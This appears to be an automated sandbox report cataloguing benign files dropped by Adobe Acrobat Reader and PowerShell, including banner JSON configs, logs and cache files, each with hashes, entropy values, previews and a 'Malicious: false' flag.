SHA1:	FD972C4950630C2198F55EC9120D500169FB6768
SHA-256:	D52D776366C79643C9B243E6917527AB1A3ACDE17449E87EC5C62A7BD6D3944C
SHA-512:	59126B897AD0428F198F80A1563EA3F6632921C2D5071C4A328DE0D54A379EDD6C85FFD3FC418EE746CF712F53BB7C57A7C058C356DB60B9EF5C706E8BEAE439
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260671841822284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfYdPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGg8Uke6
MD5:	D33942375DE3F560D254B728D85E13C8
SHA1:	40EE4D8D6E5F730B4AD2970318AFC4AA5B7079F7
SHA-256:	3B13ECB9B37F63DFCD02E423556CF11170FF74D43C38117F8F6ABC82933F34DF
SHA-512:	07A031C503A5DBF591131ADD26B31AB011E5016A770A4B4444E9DCBD9ABC98EF84CD470BDE2C90E4F76111437751294DD40B25367BE9B4877BF3B7625C2D10E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.246328808421782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJf+dPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmG28Uke6
MD5:	266E2207F8B778198947CB180EB5AAF8
SHA1:	09405550D1B5B767D51EDC1DD83CF516B4314A39
SHA-256:	377739584B3D4F625FA316E89C76A1BA04F6C01C0C0B433DABABC5AF3705DC49
SHA-512:	7234BBD8551C9A4764A1606F66FDEC3C866DE295EA458DB850784069E692FB993AA46EFBCB7759A196C3FEC7157074FB8FAB64FBB80E2690FF63B0FF4B31D6D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.244489236115925
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfbPtdPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGDV8Uk3
MD5:	2A895E266116EDD30C3212D7F4538432
SHA1:	98684E81DA638914B012A8567399F67B9DE4EB81
SHA-256:	313E7C6123660F69B9DA77DB852E14E01A741870BF694D637DC1BFA6C270921D
SHA-512:	977D62FC2AD202CE5B80C3598CB7A1CF2C96330B92965F3B1E262E19F956C0431EC184B4331D0E2B9C7A5EF581AD596D61B7942CB3BFE61D74F7BFAB5001E1FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.243563101670416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJf21rPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmG+16Uk3
MD5:	E940F3B7D920D099CA993C18AA26987F
SHA1:	35000C854C122D56005028563AEE7B0557017A33
SHA-256:	9FF6E403D682FC8E1532262DD67789F2975D6A2F205A0719850B759B520A17F5
SHA-512:	3F45FE80253E732B7715CB8B7576A172EE8631D38DB02B65CBC2DE9B6D32390987017DEC47429C1CA0E3571AF1C9126B1559D620CBF8C22E8EEED1249A1EFEEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6619365778962205
Encrypted:	false
SSDEEP:	24:Yv6XBU0ASUaJhnamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSg6:YvEvuaJh/BgkDMUJUAh8cvMN
MD5:	30C5B37249BD816D102F125B8E73D0CA
SHA1:	C1B40C63B6DD8983BA526047D5363F4BDD227D29
SHA-256:	E89CA3FDC6BE572A702C8ABE166C2C0F1B58CB3CFBF9D905B523D564E33DB87F
SHA-512:	B7DDD3BA04DA1379134B26054D5B0C3AC32689C89E0F134A188CA6D1E648113B4395D8E52608E5A8251C07D628A798D4989438852D235E32383B976CE5BAD9CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.217455377957571
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJfshHHrPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGUUUke6
MD5:	3B8F83B587BFBA698C19C7EF63C61B3B
SHA1:	AD2194BC1636E37BB3D1B3181B80705BCBC8261A
SHA-256:	DF08D6697A208786C8816B2EB8F2CD2B61F48E668FA854282DA6101FFF7001CC
SHA-512:	581F8EE5EBD03FBA65E3DA4C2F0E394C464B90D01CFCA9E690FCA540D33ADAECACAC149A76B342BA65233231E4B7FD9E746837CEBA01C3BEECB4565C5BA44C4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.234707565267271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUV4+cAIvM9XEuHH2vB3/dVlPIHAR0YRToAvJTqgFCrPeUkwRe9:YvXKXBUVBcAIvM9XqvR/ZwHAmGTq16UU
MD5:	057FC9EAE46FB04E6C738229D2558560
SHA1:	3F173FC6307E90D6985F7EEA1C323A5423C61FED
SHA-256:	30C408EEA9CA7D9786523DE05208271D07CB56BFD95622FD390AEA0E934BB84C
SHA-512:	C5DF469A6BFE7FD4BA627A19D2EB0FFBAC16383EDA49D3098745C026E2B713828058D67734C15C7551904E1783AFBD86C7D9F7516EA44E155E3A5DC341C22466
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6104aeaf-249f-4174-bd04-74ead93722a9","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736723844265,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143936458027519
Encrypted:	false
SSDEEP:	24:YMYjyGa8uM1ay52H32t0HLBJPdR1sNxly35ybi+dPjBqj0Snf3uC2XM2LSnRCAW/:YnunHy0HbPdR6QkFBMDiMDPWQwYb/9St
MD5:	18D73760906376495A8A56F9AE8C44FD
SHA1:	4AE1DA73347C4EED49798CAF4D15CA0707AA3BF5
SHA-256:	649E3C15F45D8C05D97F3D1789E7744EBB1A51C8AF713D78B5B482C62D24CA51
SHA-512:	24AC47C026BF9FFAB24D303813BAEAEF99B2AC107196167257940F303C63E7F97D4E82E448ABEF8B096DD581771DC8E630E6BA8F8519ED6B99BF08A0E47BB0A9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a53c903e1d9bce344208a8e314d26bc2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736545449000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"945612b43d8370f48082f0949e139fdc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736545449000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ddbf62428c0a310478d0e7b6c43f3788","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736545449000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"eda5f1b2bf8e6e8a7fd69446ff6d6ac6","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736545449000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a631a97530a514dfd88386981fad4024","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736545449000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d9e160d053283ef9203178c42cd493df","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3185828080539477
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMekRotqV7:TGufl2GL7ms9WR1CPmPbPahkoypilIyu
MD5:	931F4AA4C554B75D8948F39604FBCF53
SHA1:	633D39719A25F452A8F4B591AF88E86CC274E842
SHA-256:	2B7A6BD728703524803BDE3EDDE968542D8519F13CC93807066417069237BB14
SHA-512:	52049693266BAD046BAF3379C538D96070113E1725DC9FD6A8628E124D479E22C20D758DDF48A66DFBEE35B424E4DABAFB7F882038EA2BAFB6ACF8E54490D32B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7799537671064392
Encrypted:	false
SSDEEP:	24:7+tHlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMekRo4qVpaVrScVr0InBfqLhJ:7McWR1CPmPbPahkdypilIMqFl2GL7ms1
MD5:	A6288A6AA3D882D1D624B2FF33BC3B8D
SHA1:	EADED40B5DDCE8E16FF6CBCD131BE44BBDB18CDF
SHA-256:	311382A23D859A7D8E71F02812FED027AE18CA85DE48DC24C5E2DDF097C4F481
SHA-512:	CB0FE160EBCDED57AD5E895610B1396974DA96A6BBA6CBFEFE38AD72CF84E2D15B6FE424CB68C6DA855530ECE15B46F0A481383ECDC3120DA3CB9E253B68D340
Malicious:	false
Preview:	.... .c.......Q...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOgke7ep6kX36yPV58KK6SaFpR1JEYyu:6a6TZ44ADEme7epjPVZSaFJJEK
MD5:	4C552C12B1D04D6D7B1D4A5F4BECD04E
SHA1:	19B545FEC7E7007AACCDE6DD0471FAC95CAF9A5B
SHA-256:	EE4727E3620F0285A732B7EE73CC12A3865BCA3989D0B8A6FC8C7E323B3A91E4
SHA-512:	EA5110DAACC58F83773A4581D6EB1E0ED25407A352D06F434681745D12BB87E49A5CD7D3BB2A0AB9E99CC8AF54938DA34F262741CF0C67DA9BBA30F4D61F67FD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIdafaf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErN2FYlYH:Qw946cPbiOxDlbYnuRK+bDrNSYlYH
MD5:	A8115787AA835ECAD59C2A80007F8F6B
SHA1:	318B249CFDFE305F9478EFA8427FFD81FD945DF5
SHA-256:	7DB627FAAA1D82BCEBB57351884C2F0571EC7B71BE6828836B0128CB78A98397
SHA-512:	81113B9FE36B5956AF8B366BEC352DA37F6A1BD49E42E40511A9B1482EFA065F1C516049B8E5AB063EB42AB20DB93F67A89D96C8BD70A97CA554BF87F9036C13
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.4.4.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0tqzp0eo.vky.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qgywnryw.g1d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-44-05-206.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33332393399116
Encrypted:	false
SSDEEP:	384:uwNaLauaTaZaoa3taAbbbtb4bKDxD6cDpDIN2NKNIcMbrb3bKbRbD/DaDaDIDWIX:uS4zIIfstz/5sGFmctM4Uyh37+d32OEr
MD5:	81FDE9F3032A7D746144609502E7FC31
SHA1:	AD90BEFDD5098560531302E0020E47B75CD9A2CC
SHA-256:	077E352E822578830F4838B915B87F3191A86598EF3302A54D7AECFBAC110BF9
SHA-512:	44F644F330634D9D7D98A858410FA2D509203FB0CF736B99DF0D6CC7AEF6C367AAA8AC34FE3383A66FD6EB074B430DC88889DFAE364355ECC5630FD592FC5F71
Malicious:	false
Preview:	SessionID=25cd6ede-b56a-49d0-bbc4-e87f97dedd25.1736545445276 Timestamp=2025-01-10T16:44:05:276-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=25cd6ede-b56a-49d0-bbc4-e87f97dedd25.1736545445276 Timestamp=2025-01-10T16:44:05:278-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=25cd6ede-b56a-49d0-bbc4-e87f97dedd25.1736545445276 Timestamp=2025-01-10T16:44:05:278-0500 ThreadID=7508 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=25cd6ede-b56a-49d0-bbc4-e87f97dedd25.1736545445276 Timestamp=2025-01-10T16:44:05:278-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=25cd6ede-b56a-49d0-bbc4-e87f97dedd25.1736545445276 Timestamp=2025-01-10T16:44:05:278-0500 ThreadID=7508 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.405204419585836
Encrypted:	false
SSDEEP:	384:ceo4+rsCbZDDvaDYdgzqN6ZE56ZDCJOdZ5VY5EHhE:eZDDvaDYdgzqN6ZE56ZDCJOdZ5VY5EC
MD5:	1675811CC5977CC6C08F932BA3115937
SHA1:	757A1A9F5122B87BB850E2782AE8EC06319F1761
SHA-256:	FB0D11DE9B09F03BFD7E9680146F09703AB2802F87AD0376D06C4B4F98D3DD8A
SHA-512:	1CB1A4AA9A7D8FB5CE5CDF66222BEBBF0142E1A4F5D54093FDFC070C012BE8342EC79DF7CA4D11C1F790FD83EF24EFB6036F1104EC2ED84D3F204E373A2D5D16
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5b5f69a2-5994-4da0-9812-846fbaa659d4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
